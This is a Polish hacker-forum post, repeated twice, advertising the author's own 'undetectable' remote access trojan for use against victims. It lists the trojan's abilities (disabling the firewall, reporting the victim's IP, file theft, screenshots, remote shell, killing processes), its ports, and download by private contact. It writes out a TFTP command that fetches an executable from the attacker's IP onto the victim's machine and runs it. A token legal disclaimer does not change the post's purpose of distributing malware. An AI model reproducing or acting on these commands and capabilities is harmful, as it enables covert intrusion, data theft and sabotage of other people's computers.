K
krzychu_haker
Gość
Witam,
Mam tutaj na razie niewykrywalnego trojana na dzień
dzisiejszy niewykrywalny przez av. Wymaga zainstalowanego
NET Frameworka zarówno u ciebie jak i u ofiary.
Podczas instalacji trojan wyłącza systemowego firewalla.
Następnie przesyła nr IP ofiary na gg. Wklepujesz IP do klienta
i się łączysz.
Trojan potrafi m. in.
- zapewnić ci dostęp do dysków
- robić zrzuty ekranu
- pobierać pliki od ofiary
- wysyłać (komenda TFTP w Shell/dos) przykład użycia poniżej
Przykładowo ściągamy i uruchamiamy plik exe u ofiary
TFTP -i twoje ip GET plik.exe C:wirus.exe
Start C:wirus.exe
- wysuwać / wsuwać CD
- wyłączać kompa, wylogowywać usera itp.
- pokazywać info o systemie
- pokazywać liste zadań
- killować procesy (użycie przez shell/dos)
Przykład zamyka explorera:
tskill explorer
albo
taskkill explorer
- wyświetlać komunikaty
- wyświetlić pytanie
- uruchamiać aplikacje z www
- podawać info o plikach / folderach
- blokować pulpit ofiary
- zamykać wszystkie aplikacje :glupek2:
- komendy dosa
a o nich temat http://www.haker.com.pl/forum/viewtopic.php?t=23705
Porty których trojan używa to
Używany protokół to TCP.
Autorem trojanka jestem ja :faja:
Zanim się zdecydujesz przeczytaj:
Jest to jak narazie pierwsza wersja publiczna
mojego trojana. Zapraszam do dyskusji.
Screen:
Download: wyłączony - kontakt na gg
Pozdrawiam,
KILL
Mam tutaj na razie niewykrywalnego trojana na dzień
dzisiejszy niewykrywalny przez av. Wymaga zainstalowanego
NET Frameworka zarówno u ciebie jak i u ofiary.
Podczas instalacji trojan wyłącza systemowego firewalla.
Następnie przesyła nr IP ofiary na gg. Wklepujesz IP do klienta
i się łączysz.
Kod:
Uwaga: Ofiara musi mieć osiągalne dla ciebie ip to znaczy
być w tej samej sieci co ty lub mieć publiczne IPTrojan potrafi m. in.
- zapewnić ci dostęp do dysków
- robić zrzuty ekranu
- pobierać pliki od ofiary
- wysyłać (komenda TFTP w Shell/dos) przykład użycia poniżej
Przykładowo ściągamy i uruchamiamy plik exe u ofiary
TFTP -i twoje ip GET plik.exe C:wirus.exe
Start C:wirus.exe
- wysuwać / wsuwać CD
- wyłączać kompa, wylogowywać usera itp.
- pokazywać info o systemie
- pokazywać liste zadań
- killować procesy (użycie przez shell/dos)
Przykład zamyka explorera:
tskill explorer
albo
taskkill explorer
- wyświetlać komunikaty
- wyświetlić pytanie
- uruchamiać aplikacje z www
- podawać info o plikach / folderach
- blokować pulpit ofiary
- zamykać wszystkie aplikacje :glupek2:
- komendy dosa
a o nich temat http://www.haker.com.pl/forum/viewtopic.php?t=23705
Kod:
Cały trojan został napisany w VB.NET Express. Używa Winsocka oraz GGSender'a. Nieźle się trzeba było namęczyć uff nareszcie gotowePorty których trojan używa to
Kod:
9393 - port informacji
5421 - port screenshotów
2591 - port Shell/Dos
8561 - główny port
4561 - port p2pUżywany protokół to TCP.
Autorem trojanka jestem ja :faja:
Zanim się zdecydujesz przeczytaj:
Kod:
Przestrzegam, że bezprawne uzyskanie informacji, naruszenie integralności komputerowego zapisu danych, podsłuch i sabotaż komputerowy, a prościej uszkodzenie, usunięcie zmianę danych, także zapoznanie się z treścią bezprawnie uzyskanych informacji jest karalne: art.267 § 1 k.k. art.267§
2art.268 § k.k. art.269 k.k.Jest to jak narazie pierwsza wersja publiczna
mojego trojana. Zapraszam do dyskusji.
Screen:
Download: wyłączony - kontakt na gg
Pozdrawiam,
KILL